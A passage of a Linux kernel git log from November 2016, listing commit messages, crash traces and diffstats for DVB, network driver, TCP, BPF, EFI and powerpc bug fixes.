git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: clk: mmp: pxa910: fix return value check in pxa910_clk_init() clk: mmp: pxa168: fix return value check in pxa168_clk_init() clk: mmp: mmp2: fix return value check in mmp2_clk_init() clk: qoriq: Don't allow CPU clocks higher than starting value clk: imx: fix integer overflow in AV PLL round rate clk: xgene: Don't call __pa on ioremaped address clk/samsung: Use CLK_OF_DECLARE_DRIVER initialization method for CLKOUT clk: rockchip: don't return NULL when failing to register ddrclk branch commit 7a0786c19d65bd4502b4a53aec9ef75e18192a00 Author: Mauro Carvalho Chehab Date: Sat Nov 12 12:46:28 2016 -0200 gp8psk: Fix DVB frontend attach The DVB binding schema at the DVB core assumes that the frontend is a separate driver. Faling to do that causes OOPS when the module is removed, as it tries to do a symbol_put_addr on an internal symbol, causing craches like: WARNING: CPU: 1 PID: 28102 at kernel/module.c:1108 module_put+0x57/0x70 Modules linked in: dvb_usb_gp8psk(-) dvb_usb dvb_core nvidia_drm(PO) nvidia_modeset(PO) snd_hda_codec_hdmi snd_hda_intel snd_hda_codec snd_hwdep snd_hda_core snd_pcm snd_timer snd soundcore nvidia(PO) [last unloaded: rc_core] CPU: 1 PID: 28102 Comm: rmmod Tainted: P WC O 4.8.4-build.1 #1 Hardware name: MSI MS-7309/MS-7309, BIOS V1.12 02/23/2009 Call Trace: dump_stack+0x44/0x64 __warn+0xfa/0x120 module_put+0x57/0x70 module_put+0x57/0x70 warn_slowpath_null+0x23/0x30 module_put+0x57/0x70 gp8psk_fe_set_frontend+0x460/0x460 [dvb_usb_gp8psk] symbol_put_addr+0x27/0x50 dvb_usb_adapter_frontend_exit+0x3a/0x70 [dvb_usb] From Derek's tests: "Attach bug is fixed, tuning works, module unloads without crashing. Everything seems ok!" Reported-by: Derek Tested-by: Derek Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Linus Torvalds drivers/media/dvb-frontends/Kconfig | 5 + drivers/media/dvb-frontends/Makefile | 1 + drivers/media/dvb-frontends/gp8psk-fe.c | 397 ++++++++++++++++++++++++++++++++ drivers/media/dvb-frontends/gp8psk-fe.h | 82 +++++++ drivers/media/usb/dvb-usb/Makefile | 2 +- drivers/media/usb/dvb-usb/gp8psk-fe.c | 372 ------------------------------ drivers/media/usb/dvb-usb/gp8psk.c | 106 ++++++--- drivers/media/usb/dvb-usb/gp8psk.h | 63 ----- 8 files changed, 561 insertions(+), 467 deletions(-) commit 1596c387e970cb680d4031fbe4d6eb2c2a4ddb63 Author: Mauro Carvalho Chehab Date: Sat Nov 12 12:46:27 2016 -0200 gp8psk: fix gp8psk_usb_in_op() logic Commit bc29131ecb10 ("[media] gp8psk: don't do DMA on stack") fixed the usage of DMA on stack, but the memcpy was wrong for gp8psk_usb_in_op(). Fix it. From Derek's email: "Fix confirmed using 2 different Skywalker models with HD mpeg4, SD mpeg2." Suggested-by: Johannes Stezenbach Fixes: bc29131ecb10 ("[media] gp8psk: don't do DMA on stack") Tested-by: Derek Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Linus Torvalds drivers/media/usb/dvb-usb/gp8psk.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 7724325a19fb0a51d2a69bd2915b33f0ff197f5a Author: Mauro Carvalho Chehab Date: Sat Nov 12 12:46:26 2016 -0200 dvb-usb: move data_mutex to struct dvb_usb_device The data_mutex is initialized too late, as it is needed for each device driver's power control, causing an OOPS: dvb-usb: found a 'TerraTec/qanu USB2.0 Highspeed DVB-T Receiver' in warm state. BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] __mutex_lock_slowpath+0x6f/0x100 PGD 0 Oops: 0002 [#1] SMP Modules linked in: dvb_usb_cinergyT2(+) dvb_usb CPU: 0 PID: 2029 Comm: modprobe Not tainted 4.9.0-rc4-dvbmod #24 Hardware name: FUJITSU LIFEBOOK A544/FJNBB35 , BIOS Version 1.17 05/09/2014 task: ffff88020e943840 task.stack: ffff8801f36ec000 RIP: 0010:[] [] __mutex_lock_slowpath+0x6f/0x100 RSP: 0018:ffff8801f36efb10 EFLAGS: 00010282 RAX: 0000000000000000 RBX: ffff88021509bdc8 RCX: 00000000c0000100 RDX: 0000000000000001 RSI: 0000000000000000 RDI: ffff88021509bdcc RBP: ffff8801f36efb58 R08: ffff88021f216320 R09: 0000000000100000 R10: ffff88021f216320 R11: 00000023fee6c5a1 R12: ffff88020e943840 R13: ffff88021509bdcc R14: 00000000ffffffff R15: ffff88021509bdd0 FS: 00007f21adb86740(0000) GS:ffff88021f200000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 0000000215bce000 CR4: 00000000001406f0 Call Trace: mutex_lock+0x16/0x25 cinergyt2_power_ctrl+0x1f/0x60 [dvb_usb_cinergyT2] dvb_usb_device_init+0x21e/0x5d0 [dvb_usb] cinergyt2_usb_probe+0x21/0x50 [dvb_usb_cinergyT2] usb_probe_interface+0xf3/0x2a0 driver_probe_device+0x208/0x2b0 __driver_attach+0x87/0x90 driver_probe_device+0x2b0/0x2b0 bus_for_each_dev+0x52/0x80 bus_add_driver+0x1a3/0x220 driver_register+0x56/0xd0 usb_register_driver+0x77/0x130 do_one_initcall+0x46/0x180 free_vmap_area_noflush+0x38/0x70 kmem_cache_alloc+0x84/0xc0 do_init_module+0x50/0x1be load_module+0x1d8b/0x2100 find_symbol_in_section+0xa0/0xa0 SyS_finit_module+0x89/0x90 entry_SYSCALL_64_fastpath+0x13/0x94 Code: e8 a7 1d 00 00 8b 03 83 f8 01 0f 84 97 00 00 00 48 8b 43 10 4c 8d 7b 08 48 89 63 10 4c 89 3c 24 41 be ff ff ff ff 48 89 44 24 08 <48> 89 20 4c 89 64 24 10 eb 1a 49 c7 44 24 08 02 00 00 00 c6 43 RIP [] __mutex_lock_slowpath+0x6f/0x100 RSP CR2: 0000000000000000 So, move it to the struct dvb_usb_device and initialize it before calling the driver's callbacks. Reported-by: Jörg Otte Tested-by: Jörg Otte Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Linus Torvalds drivers/media/usb/dvb-usb/af9005.c | 33 ++++++++---------------- drivers/media/usb/dvb-usb/cinergyT2-core.c | 33 ++++++++---------------- drivers/media/usb/dvb-usb/cxusb.c | 39 ++++++++++++----------------- drivers/media/usb/dvb-usb/cxusb.h | 1 - drivers/media/usb/dvb-usb/dtt200u.c | 40 +++++++++++++----------------- drivers/media/usb/dvb-usb/dvb-usb-init.c | 1 + drivers/media/usb/dvb-usb/dvb-usb.h | 9 +++++-- 7 files changed, 61 insertions(+), 95 deletions(-) commit 9e37aaa39dccad05c3d8883f0790a804e3ec4810 Merge: a055450 42cdb33 Author: David S. Miller Date: Sun Nov 13 12:51:01 2016 -0500 Merge branch 'mlxsw-fixes' Jiri Pirko says: ==================== mlxsw: Couple of fixes Please, queue-up both for stable. Thanks! ==================== Signed-off-by: David S. Miller commit 42cdb338f40a98e6558bae35456fe86b6e90e1ef Author: Arkadi Sharshevsky Date: Fri Nov 11 16:34:26 2016 +0100 mlxsw: spectrum_router: Correctly dump neighbour activity The device's neighbour table is periodically dumped in order to update the kernel about active neighbours. A single dump session may span multiple queries, until the response carries less records than requested or when a record (can contain up to four neighbour entries) is not full. Current code stops the session when the number of returned records is zero, which can result in infinite loop in case of high packet rate. Fix this by stopping the session according to the above logic. Fixes: c723c735fa6b ("mlxsw: spectrum_router: Periodically update the kernel's neigh table") Signed-off-by: Arkadi Sharshevsky Signed-off-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller .../net/ethernet/mellanox/mlxsw/spectrum_router.c | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) commit 2d644d4c7506646f9c4a2afceb7fd5f030bc0c9f Author: Yotam Gigi Date: Fri Nov 11 16:34:25 2016 +0100 mlxsw: spectrum: Fix refcount bug on span entries When binding port to a newly created span entry, its refcount is initialized to zero even though it has a bound port. That leads to unexpected behaviour when the user tries to delete that port from the span entry. Fix this by initializing the reference count to 1. Also add a warning to put function. Fixes: 763b4b70afcd ("mlxsw: spectrum: Add support in matchall mirror TC offloading") Signed-off-by: Yotam Gigi Reviewed-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit a055450a3340fc0d9a6b39257e6710f121d92385 Merge: 7b5b74e 73b9bad Author: David S. Miller Date: Sun Nov 13 12:37:32 2016 -0500 Merge branch 'bnxt_en-fixes' Michael Chan says: ==================== bnxt_en: 2 bug fixes. Bug fixes in bnxt_setup_tc() and VF vitual link state. ==================== Signed-off-by: David S. Miller commit 73b9bad63ae3c902ce64221d10a0d371d059748d Author: Michael Chan Date: Fri Nov 11 00:11:43 2016 -0500 bnxt_en: Fix VF virtual link state. If the physical link is down and the VF virtual link is set to "enable", the current code does not always work. If the link is down but the cable is attached, the firmware returns LINK_SIGNAL instead of NO_LINK. The current code is treating LINK_SIGNAL as link up. The fix is to treat link as down when the link_status != LINK. Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt_sriov.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3ffb6a39b751b635a0c50b650064c38b8d371ef2 Author: Michael Chan Date: Fri Nov 11 00:11:42 2016 -0500 bnxt_en: Fix ring arithmetic in bnxt_setup_tc(). The logic is missing the check on whether the tx and rx rings are sharing completion rings or not. Signed-off-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnxt/bnxt.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 7b5b74efcca00f15c2aec1dc7175bfe34b6ec643 Author: Mike Frysinger Date: Thu Nov 10 19:08:39 2016 -0500 Revert "include/uapi/linux/atm_zatm.h: include linux/time.h" This reverts commit cf00713a655d ("include/uapi/linux/atm_zatm.h: include linux/time.h"). This attempted to fix userspace breakage that no longer existed when the patch was merged. Almost one year earlier, commit 70ba07b675b5 ("atm: remove 'struct zatm_t_hist'") deleted the struct in question. After this patch was merged, we now have to deal with people being unable to include this header in conjunction with standard C library headers like stdlib.h (which linux-atm does). Example breakage: x86_64-pc-linux-gnu-gcc -DHAVE_CONFIG_H -I. -I../.. -I./../q2931 -I./../saal \ -I. -DCPPFLAGS_TEST -I../../src/include -O2 -march=native -pipe -g \ -frecord-gcc-switches -freport-bug -Wimplicit-function-declaration \ -Wnonnull -Wstrict-aliasing -Wparentheses -Warray-bounds \ -Wfree-nonheap-object -Wreturn-local-addr -fno-strict-aliasing -Wall \ -Wshadow -Wpointer-arith -Wwrite-strings -Wstrict-prototypes -c zntune.c In file included from /usr/include/linux/atm_zatm.h:17:0, from zntune.c:17: /usr/include/linux/time.h:9:8: error: redefinition of ‘struct timespec’ struct timespec { ^ In file included from /usr/include/sys/select.h:43:0, from /usr/include/sys/types.h:219, from /usr/include/stdlib.h:314, from zntune.c:9: /usr/include/time.h:120:8: note: originally defined here struct timespec ^ Signed-off-by: Mike Frysinger Acked-by: Mikko Rapeli Signed-off-by: David S. Miller include/uapi/linux/atm_zatm.h | 1 - 1 file changed, 1 deletion(-) commit ac6e780070e30e4c35bd395acfe9191e6268bdd3 Author: Eric Dumazet Date: Thu Nov 10 13:12:35 2016 -0800 tcp: take care of truncations done by sk_filter() With syzkaller help, Marco Grassi found a bug in TCP stack, crashing in tcp_collapse() Root cause is that sk_filter() can truncate the incoming skb, but TCP stack was not really expecting this to happen. It probably was expecting a simple DROP or ACCEPT behavior. We first need to make sure no part of TCP header could be removed. Then we need to adjust TCP_SKB_CB(skb)->end_seq Many thanks to syzkaller team and Marco for giving us a reproducer. Signed-off-by: Eric Dumazet Reported-by: Marco Grassi Reported-by: Vladis Dronov Signed-off-by: David S. Miller include/net/tcp.h | 1 + net/ipv4/tcp_ipv4.c | 19 ++++++++++++++++++- net/ipv6/tcp_ipv6.c | 6 ++++-- 3 files changed, 23 insertions(+), 3 deletions(-) commit 969447f226b451c453ddc83cac6144eaeac6f2e3 Author: Stephen Suryaputra Lin Date: Thu Nov 10 11:16:15 2016 -0500 ipv4: use new_gw for redirect neigh lookup In v2.6, ip_rt_redirect() calls arp_bind_neighbour() which returns 0 and then the state of the neigh for the new_gw is checked. If the state isn't valid then the redirected route is deleted. This behavior is maintained up to v3.5.7 by check_peer_redirect() because rt->rt_gateway is assigned to peer->redirect_learned.a4 before calling ipv4_neigh_lookup(). After commit 5943634fc559 ("ipv4: Maintain redirect and PMTU info in struct rtable again."), ipv4_neigh_lookup() is performed without the rt_gateway assigned to the new_gw. In the case when rt_gateway (old_gw) isn't zero, the function uses it as the key. The neigh is most likely valid since the old_gw is the one that sends the ICMP redirect message. Then the new_gw is assigned to fib_nh_exception. The problem is: the new_gw ARP may never gets resolved and the traffic is blackholed. So, use the new_gw for neigh lookup. Changes from v1: - use __ipv4_neigh_lookup instead (per Eric Dumazet). Fixes: 5943634fc559 ("ipv4: Maintain redirect and PMTU info in struct rtable again.") Signed-off-by: Stephen Suryaputra Lin Signed-off-by: David S. Miller net/ipv4/route.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit ca0a75316dc62af92943761b1cc049e15c92eb09 Author: Guenter Roeck Date: Wed Nov 9 19:51:25 2016 -0800 r8152: Fix error path in open function If usb_submit_urb() called from the open function fails, the following crash may be observed. r8152 8-1:1.0 eth0: intr_urb submit failed: -19 ... r8152 8-1:1.0 eth0: v1.08.3 Unable to handle kernel paging request at virtual address 6b6b6b6b6b6b6b7b pgd = ffffffc0e7305000 [6b6b6b6b6b6b6b7b] *pgd=0000000000000000, *pud=0000000000000000 Internal error: Oops: 96000004 [#1] PREEMPT SMP ... PC is at notifier_chain_register+0x2c/0x58 LR is at blocking_notifier_chain_register+0x54/0x70 ... Call trace: [] notifier_chain_register+0x2c/0x58 [] blocking_notifier_chain_register+0x54/0x70 [] register_pm_notifier+0x24/0x2c [] rtl8152_open+0x3dc/0x3f8 [r8152] [] __dev_open+0xac/0x104 [] __dev_change_flags+0xb0/0x148 [] dev_change_flags+0x34/0x70 [] do_setlink+0x2c8/0x888 [] rtnl_newlink+0x328/0x644 [] rtnetlink_rcv_msg+0x1a8/0x1d4 [] netlink_rcv_skb+0x68/0xd0 [] rtnetlink_rcv+0x2c/0x3c [] netlink_unicast+0x16c/0x234 [] netlink_sendmsg+0x340/0x364 [] sock_sendmsg+0x48/0x60 [] SyS_sendto+0xe0/0x120 [] SyS_send+0x40/0x4c [] el0_svc_naked+0x24/0x28 Clean up error handling to avoid registering the notifier if the open function is going to fail. Signed-off-by: Guenter Roeck Signed-off-by: David S. Miller drivers/net/usb/r8152.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 83d2c9a9c17b1e9f23a3a0c24c03cd18e4b02520 Author: Sven Ebenfeld Date: Mon Nov 7 18:51:34 2016 +0100 crypto: caam - do not register AES-XTS mode on LP units When using AES-XTS on a Wandboard, we receive a Mode error: caam_jr 2102000.jr1: 20001311: CCB: desc idx 19: AES: Mode error. According to the Security Reference Manual, the Low Power AES units of the i.MX6 do not support the XTS mode. Therefore we must not register XTS implementations in the Crypto API. Signed-off-by: Sven Ebenfeld Reviewed-by: Horia Geantă Cc: # 4.4+ Fixes: c6415a6016bf "crypto: caam - add support for acipher xts(aes)" Signed-off-by: Herbert Xu drivers/crypto/caam/caamalg.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit d70674eeaa5efdefb99928691161578ae0a80316 Author: Arnd Bergmann Date: Tue Oct 25 17:55:04 2016 +0200 iio: maxim_thermocouple: detect invalid storage size in read() As found by gcc -Wmaybe-uninitialized, having a storage_bytes value other than 2 or 4 will result in undefined behavior: drivers/iio/temperature/maxim_thermocouple.c: In function 'maxim_thermocouple_read': drivers/iio/temperature/maxim_thermocouple.c:141:5: error: 'ret' may be used uninitialized in this function [-Werror=maybe-uninitialized] This probably cannot happen, but returning -EINVAL here is appropriate and makes gcc happy and the code more robust. Fixes: 231147ee77f3 ("iio: maxim_thermocouple: Align 16 bit big endian value of raw reads") Signed-off-by: Arnd Bergmann Signed-off-by: Jonathan Cameron (cherry picked from commit 32cb7d27e65df9daa7cee8f1fdf7b259f214bee2) Signed-off-by: Greg Kroah-Hartman drivers/iio/temperature/maxim_thermocouple.c | 2 ++ 1 file changed, 2 insertions(+) commit f6697df36bdf0bf7fce984605c2918d4a7b4269f Author: Matt Fleming Date: Sat Nov 12 21:04:24 2016 +0000 x86/efi: Prevent mixed mode boot corruption with CONFIG_VMAP_STACK=y Booting an EFI mixed mode kernel has been crashing since commit: e37e43a497d5 ("x86/mm/64: Enable vmapped stacks (CONFIG_HAVE_ARCH_VMAP_STACK=y)") The user-visible effect in my test setup was the kernel being unable to find the root file system ramdisk. This was likely caused by silent memory or page table corruption. Enabling CONFIG_DEBUG_VIRTUAL=y immediately flagged the thunking code as abusing virt_to_phys() because it was passing addresses that were not part of the kernel direct mapping. Use the slow version instead, which correctly handles all memory regions by performing a page table walk. Suggested-by: Andy Lutomirski Signed-off-by: Matt Fleming Cc: Andy Lutomirski Cc: Ard Biesheuvel Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-efi@vger.kernel.org Link: http://lkml.kernel.org/r/20161112210424.5157-3-matt@codeblueprint.co.uk Signed-off-by: Ingo Molnar arch/x86/platform/efi/efi_64.c | 80 ++++++++++++++++++++++++++++++------------ 1 file changed, 57 insertions(+), 23 deletions(-) commit 02e56902e40e4c1ff57590c717e46377b72d5966 Author: Borislav Petkov Date: Sat Nov 12 21:04:23 2016 +0000 x86/efi: Fix EFI memmap pointer size warning Fix this when building on 32-bit: arch/x86/platform/efi/efi.c: In function ‘__efi_enter_virtual_mode’: arch/x86/platform/efi/efi.c:911:5: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast] (efi_memory_desc_t *)pa); ^ arch/x86/platform/efi/efi.c:918:5: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast] (efi_memory_desc_t *)pa); ^ The @pa local variable is declared as phys_addr_t and that is a u64 when CONFIG_PHYS_ADDR_T_64BIT=y. (The last is enabled on 32-bit on a PAE build.) However, its value comes from __pa() which is basically doing pointer arithmetic and checking, and returns unsigned long as it is the native pointer width. So let's use an unsigned long too. It should be fine to do so because the later users cast it to a pointer too. Signed-off-by: Borislav Petkov Signed-off-by: Matt Fleming Cc: Andy Lutomirski Cc: Ard Biesheuvel Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-efi@vger.kernel.org Link: http://lkml.kernel.org/r/20161112210424.5157-2-matt@codeblueprint.co.uk Signed-off-by: Ingo Molnar arch/x86/platform/efi/efi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 10b217681ddec4fa3ddb375bb188fec504523da4 Author: Baruch Siach Date: Thu Nov 10 13:21:42 2016 +0200 net: bpqether.h: remove if_ether.h guard __LINUX_IF_ETHER_H is not defined anywhere, and if_ether.h can keep itself from double inclusion, though it uses a single underscore prefix. Signed-off-by: Baruch Siach Signed-off-by: David S. Miller include/uapi/linux/bpqether.h | 2 -- 1 file changed, 2 deletions(-) commit 34fad54c2537f7c99d07375e50cb30aa3c23bd83 Author: Eric Dumazet Date: Wed Nov 9 16:04:46 2016 -0800 net: __skb_flow_dissect() must cap its return value After Tom patch, thoff field could point past the end of the buffer, this could fool some callers. If an skb was provided, skb->len should be the upper limit. If not, hlen is supposed to be the upper limit. Fixes: a6e544b0a88b ("flow_dissector: Jump to exit code in __skb_flow_dissect") Signed-off-by: Eric Dumazet Reported-by: Yibin Yang Acked-by: Willem de Bruijn Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller net/core/flow_dissector.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit 79774d6bfacb40699ecd5a343e5d4ac5a9cdd173 Merge: 23dd831 90e0289 Author: David S. Miller Date: Sat Nov 12 23:38:08 2016 -0500 Merge branch 'fix-bpf_redirect' Martin KaFai Lau says: ==================== bpf: Fix bpf_redirect to an ipip/ip6tnl dev This patch set fixes a bug in bpf_redirect(dev, flags) when dev is an ipip/ip6tnl. The current problem is IP-EthHdr-IP is sent out instead of IP-IP. Patch 1 adds a dev->type test similar to dev_is_mac_header_xmit() in act_mirred.c which is only available in net-next. We can consider to refactor it once this patch is pulled into net-next from net. ==================== Signed-off-by: David S. Miller commit 90e02896f1a4627b14624245fbcbc19f8fd916cb Author: Martin KaFai Lau Date: Wed Nov 9 15:36:34 2016 -0800 bpf: Add test for bpf_redirect to ipip/ip6tnl The test creates two netns, ns1 and ns2. The host (the default netns) has an ipip or ip6tnl dev configured for tunneling traffic to the ns2. ping VIPS from ns1 <----> host <--tunnel--> ns2 (VIPs at loopback) The test is to have ns1 pinging VIPs configured at the loopback interface in ns2. The VIPs are 10.10.1.102 and 2401:face::66 (which are configured at lo@ns2). [Note: 0x66 => 102]. At ns1, the VIPs are routed _via_ the host. At the host, bpf programs are installed at the veth to redirect packets from a veth to the ipip/ip6tnl. The test is configured in a way so that both ingress and egress can be tested. At ns2, the ipip/ip6tnl dev is configured with the local and remote address specified. The return path is routed to the dev ipip/ip6tnl. During egress test, the host also locally tests pinging the VIPs to ensure that bpf_redirect at egress also works for the direct egress (i.e. not forwarding from dev ve1 to ve2). Acked-by: Alexei Starovoitov Signed-off-by: Martin KaFai Lau Signed-off-by: David S. Miller samples/bpf/Makefile | 4 + samples/bpf/tc_l2_redirect.sh | 173 ++++++++++++++++++++++++++++ samples/bpf/tc_l2_redirect_kern.c | 236 ++++++++++++++++++++++++++++++++++++++ samples/bpf/tc_l2_redirect_user.c | 73 ++++++++++++ 4 files changed, 486 insertions(+) commit 4e3264d21b90984c2165e8fe5a7b64cf25bc2c2d Author: Martin KaFai Lau Date: Wed Nov 9 15:36:33 2016 -0800 bpf: Fix bpf_redirect to an ipip/ip6tnl dev If the bpf program calls bpf_redirect(dev, 0) and dev is an ipip/ip6tnl, it currently includes the mac header. e.g. If dev is ipip, the end result is IP-EthHdr-IP instead of IP-IP. The fix is to pull the mac header. At ingress, skb_postpull_rcsum() is not needed because the ethhdr should have been pulled once already and then got pushed back just before calling the bpf_prog. At egress, this patch calls skb_postpull_rcsum(). If bpf_redirect(dev, BPF_F_INGRESS) is called, it also fails now because it calls dev_forward_skb() which eventually calls eth_type_trans(skb, dev). The eth_type_trans() will set skb->type = PACKET_OTHERHOST because the mac address does not match the redirecting dev->dev_addr. The PACKET_OTHERHOST will eventually cause the ip_rcv() errors out. To fix this, ____dev_forward_skb() is added. Joint work with Daniel Borkmann. Fixes: cfc7381b3002 ("ip_tunnel: add collect_md mode to IPIP tunnel") Fixes: 8d79266bc48c ("ip6_tunnel: add collect_md mode to IPv6 tunnels") Acked-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: Martin KaFai Lau Signed-off-by: David S. Miller include/linux/netdevice.h | 15 +++++++++++ net/core/dev.c | 17 +++++------- net/core/filter.c | 68 +++++++++++++++++++++++++++++++++++++++++------ 3 files changed, 81 insertions(+), 19 deletions(-) commit 0cbc72a1781250f373327dd7e306e33859a42154 Author: Jens Axboe Date: Fri Nov 11 18:28:50 2016 -0700 aoe: fix crash in page count manipulation aoeblk contains some mysterious code, that wants to elevate the bio vec page counts while it's under IO. That is not needed, it's fragile, and it's causing kernel oopses for some. Reported-by: Tested-by: Don Koch Tested-by: Tested-by: Don Koch Signed-off-by: Jens Axboe drivers/block/aoe/aoecmd.c | 41 ----------------------------------------- 1 file changed, 41 deletions(-) commit 18f6084a989ba1b38702f9af37a2e4049a924be6 Author: Andrey Grodzovsky Date: Thu Nov 10 09:35:27 2016 -0500 scsi: mpt3sas: Fix secure erase premature termination This is a work around for a bug with LSI Fusion MPT SAS2 when perfoming secure erase. Due to the very long time the operation takes, commands issued during the erase will time out and will trigger execution of the abort hook. Even though the abort hook is called for the specific command which timed out, this leads to entire device halt (scsi_state terminated) and premature termination of the secure erase. Set device state to busy while ATA passthrough commands are in progress. [mkp: hand applied to 4.9/scsi-fixes, tweaked patch description] Signed-off-by: Andrey Grodzovsky Acked-by: Sreekanth Reddy Cc: Cc: Sathya Prakash Cc: Chaitra P B Cc: Suganath Prabu Subramani Cc: Sreekanth Reddy Cc: Hannes Reinecke Cc: Signed-off-by: Martin K. Petersen drivers/scsi/mpt3sas/mpt3sas_scsih.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit ce75632cc4012f1832bd56efd97c2ba75ca964bb Merge: d786810 c72ab44 Author: Ingo Molnar Date: Sat Nov 12 11:47:30 2016 +0100 Merge tag 'perf-hists-hierarchy-fixes-for-mingo-20161111' of git://git.kernel.org/pub/scm/linux/kernel/git/acme/linux into perf/urgent Pull perf/urgent fixes for perf {top,report} --hierarchy, from Arnaldo Carvalho de Melo: - These are fixes for the --hierarchy view of perf top and report, fixing output oddities, mostly related to scrolling. (Namhyung Kim) Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Ingo Molnar commit 2ffd04dee0dacff36c03a02434965a96da032bcd Author: Andrew Donnellan Date: Fri Nov 4 17:20:40 2016 +1100 powerpc/oops: Fix missing pr_cont()s in instruction dump Since the KERN_CONT changes, the current code in show_instructions() prints out a whole bunch of unnecessary newlines. Change occurrences of printk("\n") to pr_cont("\n"). While we're here, change all the other cases of printk(KERN_CONT ...) to pr_cont() as well. Signed-off-by: Andrew Donnellan Signed-off-by: Michael Ellerman arch/powerpc/kernel/process.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 7dae865f5878fc0c2edfb3b9165712ef33ce03df Author: Michael Ellerman Date: Thu Nov 3 20:45:26 2016 +1100 powerpc/oops: Fix missing pr_cont()s in show_regs() Fix up our oops output by converting continuation lines to use pr_cont(). Some of these are dubious, eg. printing a continuation line which starts with a newline, but seem to work OK for now. This whole function needs a rewrite in the next release. Signed-off-by: Michael Ellerman arch/powerpc/kernel/process.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit db5ba5ae6e8d5374429212de8e20933a8a0ce52e Author: Michael Ellerman Date: Wed Nov 2 22:20:47 2016 +1100 powerpc/oops: Fix missing pr_cont()s in print_msr_bits() et. al. Since the KERN_CONT changes these are being horribly split across lines, for example: MSR: 8000000000009033 < SF,EE ,ME,IR ,DR,RI ,LE> So fix it by using pr_cont() where appropriate. Signed-off-by: Michael Ellerman arch/powerpc/kernel/process.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 9a1f490f358e44a1cf463ba8124ca39fcc042992 Author: Michael Ellerman Date: Wed Nov 2 22:20:46 2016 +1100 powerpc/oops: Fix missing pr_cont()s in show_stack() Previously we got away with printing the stack trace in multiple pieces and it usually looked right. But since commit 4bcc595ccd80 ("printk: reinstate KERN_CONT for printing continuation lines"), KERN_CONT is now required when printing continuation lines. Use pr_cont() as appropriate. Signed-off-by: Michael Ellerman arch/powerpc/kernel/process.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e6740ae631db02e4f3a6742e2a38ea63718d8d17 Author: Hugh Dickins Date: Mon Nov 7 22:28:21 2016 -0800 powerpc: Fix exception vector build with 2.23 era binutils The changes to use gas sections for constructing the exception vectors causes a build break when using binutils 2.23: arch/powerpc/kernel/exceptions-64s.S:770: Error: operand out of range (0xffffffffffff8100 is not between 0x0000000000000000 and 0x000000000000ffff) And so on. Reported by Hugh with binutils-2.23.2-8.1.4.ppc64 from openSUSE 13.1 and also Naveen & Denis using 2.23.52.0.1-26.el7 from RHEL 7. Strangely binutils 2.22 (what I test with) is not affected. This is caused by the use of @l in LOAD_HANDLER(). The @l was only recently added in commit a24553dd02dc ("powerpc/pseries: Remove unnecessary syscall trampoline"). Luckily the gas section changes split out the LOAD_SYSCALL_HANDLER() macro, which means we actually *don't* need to use @l in LOAD_HANDLER() any more, only in LOAD_SYSCALL_HANDLER(). So drop the @l from LOAD_HANDLER(). Fixes: 57f266497d81 ("powerpc: Use gas sections for arranging exception vectors") Signed-off-by: Hugh Dickins [mpe: Add gory details to change log] Signed-off-by: Michael Ellerman arch/powerpc/include/asm/exception-64s.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f23ed166f283b1a6f0a1f0b0c889e8df9a10ff85 Author: Nicholas Piggin Date: Wed Nov 2 17:57:01 2016 +1100 powerpc/64s: Fix system reset interrupt winkle wakeups Wakeups from winkle set the low bit of the HSPRG0 register, to distinguish it from other sleep states. This is also the PACA pointer. The system reset exception handler fails to mask this bit away before using this value before using it as the PACA pointer. Fix this by adding a new type of exception prolog macro where we already have the PACA set in r13, and have the system reset vector mask it out. The winkle wakeup handler will store the masked value back into HSPRG0. Fixes: fb479e44a9e2 ("powerpc/64s: relocation, register save fixes for system reset interrupt") Cc: stable@vger.kernel.org # v3.0+ Signed-off-by: Nicholas Piggin Reviewed-by: Mahesh Salgaonkar Signed-off-by: Michael Ellerman arch/powerpc/include/asm/exception-64s.h | 13 +++++++++++-- arch/powerpc/kernel/exceptions-64s.S | 11 ++++++++--- 2 files changed, 19 insertions(+), 5 deletions(-) commit 409ae5a76e0505c8ffe1424f9c00dbf2ec7b5eea Author: Matias Bjørling Date: Thu Nov 10 12:26:57 2016 +0100 lightnvm: invalid offset calculation for lba_shift The ns->lba_shift assumes its value to be the logarithmic of the LA size. A previous patch duplicated the 